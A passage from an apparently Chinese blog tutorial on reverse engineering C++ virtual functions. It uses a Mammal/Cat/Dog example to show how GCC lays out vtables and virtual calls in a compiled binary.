&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;lt;cstdlib&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;#include&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;lt;iostream&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;struct&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; Mammal&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;Mammal&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;cout &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Mammal::Mammal&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;virtual&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; ~Mammal&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;cout &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Mammal::~Mammal&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;virtual void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; run&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;virtual void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; walk&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;virtual void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; move&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; walk&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;struct&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; Cat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt; :&lt;&#x2F;span&gt;&lt;span&gt; Mammal {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;Cat&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;cout &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Cat::Cat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;virtual&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; ~Cat&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;cout &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Cat::~Cat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;virtual void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; run&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;cout &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Cat::run&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;virtual void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; walk&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;cout &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Cat::walk&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;struct&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; Dog&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt; :&lt;&#x2F;span&gt;&lt;span&gt; Mammal {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;Dog&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;cout &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Dog::Dog&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;virtual&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; ~Dog&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;cout &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Dog::~Dog&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;virtual void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; run&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;cout &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Dog::run&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;virtual void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; walk&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;cout &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Dog::walk&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后还有这么一段调用他们的代码：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F; file reversing-2.cpp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; main&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Mammal &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;rand&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;m &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;= new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; Cat&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; else&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;m &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;= new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; Dog&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;walk&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;delete&lt;&#x2F;span&gt;&lt;span&gt; m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;很显然，&lt;code&gt;m&lt;&#x2F;code&gt;是&lt;code&gt;cat&lt;&#x2F;code&gt;类还是&lt;code&gt;dog&lt;&#x2F;code&gt;类，取决于&lt;code&gt;rand&lt;&#x2F;code&gt;函数的输出。这是无法被编译器提前预测的，那么编译器是怎么调用合适的&lt;code&gt;walk&lt;&#x2F;code&gt;函数呢？&lt;&#x2F;p&gt;
&lt;p&gt;由于我们把&lt;code&gt;walk&lt;&#x2F;code&gt;函数声明为了虚函数，编译器会在程序所处的内存空间中，插入一张含有函数指针的表，称为“虚函数表”，也就是“虚表”(&lt;code&gt;vtable&lt;&#x2F;code&gt;)；而在实例化类的时候，每个对象会多出一个称作“虚指针”(&lt;code&gt;vptr&lt;&#x2F;code&gt;)的成员，这个虚指针指向正确的虚表，初始化这个虚指针的代码会被添加到类的构造函数中。这样，当编译器需要调用虚函数的时候，就可以通过虚指针找到对应的虚表，从而找到合适的函数，进而调用他。这也意味着，具有同一个父类的子类，其虚表中函数的顺序也应该是一致的。比如，在上面的例子中，&lt;code&gt;Dog&lt;&#x2F;code&gt;和&lt;code&gt;Cat&lt;&#x2F;code&gt;类都是&lt;code&gt;Mammal&lt;&#x2F;code&gt;类的子类，那么&lt;code&gt;Dog&lt;&#x2F;code&gt;类的虚表中，第一项指向的是&lt;code&gt;Dog::run&lt;&#x2F;code&gt;，第二项指向的是&lt;code&gt;Dog::walk&lt;&#x2F;code&gt;，而&lt;code&gt;Cat&lt;&#x2F;code&gt;类的虚表中，第一项指向的是&lt;code&gt;Cat::run&lt;&#x2F;code&gt;，第二项则是&lt;code&gt;Cat::walk&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;通过在&lt;code&gt;.rodata&lt;&#x2F;code&gt;段中寻找指向函数的偏移量，我们可以在二进制文件中轻松地找到&lt;code&gt;Mammal&lt;&#x2F;code&gt;，&lt;code&gt;Cat&lt;&#x2F;code&gt;和&lt;code&gt;Dog&lt;&#x2F;code&gt;类的虚表，如下图所示。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;cpp-vfunc-reversing-1&#x2F;.&#x2F;2016-12-14-194724_796x759_scrot.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;主函数这时候被编译成了这个样子：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;cpp-vfunc-reversing-1&#x2F;.&#x2F;2016-12-14-175006_728x438_scrot.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看到，程序在实例化类的时候，为每个对象申请了4字节的内存空间，这和我们预期是相符的（因为每个类中没有数据成员，而编译器为我们添加了&lt;code&gt;vptr&lt;&#x2F;code&gt;）。我们也可以在第15行和第17行中，看到对虚函数的调用过程。在第15行中，编译器先对指针解引用，从而获得&lt;code&gt;vptr&lt;&#x2F;code&gt;；接下来计算&lt;code&gt;vptr+12&lt;&#x2F;code&gt;，也就是访问虚表中的第四项，而第17行则是访问虚表中的第二项。之后，程序调用虚表中对应项目指向的函数。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;cpp-vfunc-reversing-1&#x2F;.&#x2F;2016-12-14-214141_825x115_scrot.png&quot; alt=&quot;img&quot; &#x2F;&gt;
&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;cpp-vfunc-reversing-1&#x2F;.&#x2F;2016-12-14-214210_828x118_scrot.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们再看一下，三张虚表的第四项分别是&lt;code&gt;sub_80487AA&lt;&#x2F;code&gt;、&lt;code&gt;sub_804877E&lt;&#x2F;code&gt;和&lt;code&gt;___cxa_pure_virtual&lt;&#x2F;code&gt;。前两个函数如上图所示，分别是&lt;code&gt;Dog&lt;&#x2F;code&gt;和&lt;code&gt;Cat&lt;&#x2F;code&gt;类中对&lt;code&gt;walk&lt;&#x2F;code&gt;函数的实现，那么最后一个函数一定是&lt;code&gt;Mammal&lt;&#x2F;code&gt;类中对应的实现了。这很正常，因为&lt;code&gt;Mammal&lt;&#x2F;code&gt;类中没有定义&lt;code&gt;walk&lt;&#x2F;code&gt;的具体实现，而是声明其为“纯虚函数”，那么就GCC就帮我们插入了一个默认的项目。那么到这里我们知道了，虚表1是属于&lt;code&gt;Mammal&lt;&#x2F;code&gt;类的，而2和3分别是属于&lt;code&gt;Cats&lt;&#x2F;code&gt;和&lt;code&gt;Dogs&lt;&#x2F;code&gt;类的。&lt;&#x2F;p&gt;
&lt;p&gt;但比较奇怪的是，每个vtable中含有五个项目，而在我们的程序中，每个类只有四个虚函数，他们分别是：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;run&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;walk&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;move&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;析构器&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;实际上，多出来的项目是一个“额外的”析构器。这是因为，GCC会在不同的场景中，使用不同的析构函数。前者只是简单的把实例对应的所有成员都清理掉，而后者则会同时要求回收为这个实例分配的内存，这也就是在第17行调用的函数。在某些涉及到虚继承的情况下，还会有第三种析构器。&lt;&#x2F;p&gt;
&lt;p&gt;那么现在我们搞清楚了虚表的布局：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;| Offset | Pointer to  |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;|--------+-------------|&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;|      0 | Destructor1 |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;|      4 | Destructor2 |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;|      8 | run         |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;|     12 | walk        |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;|     16 | move        |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;值得注意的是，虚表的前两个项目是空指针。这是新版本GCC的一个特征，当类具有纯虚函数时，编译器会将其析构器替换为空指针。&lt;&#x2F;p&gt;
&lt;p&gt;现在可以考虑给他们重命名，以方便阅读：&lt;&#x2F;p&gt;
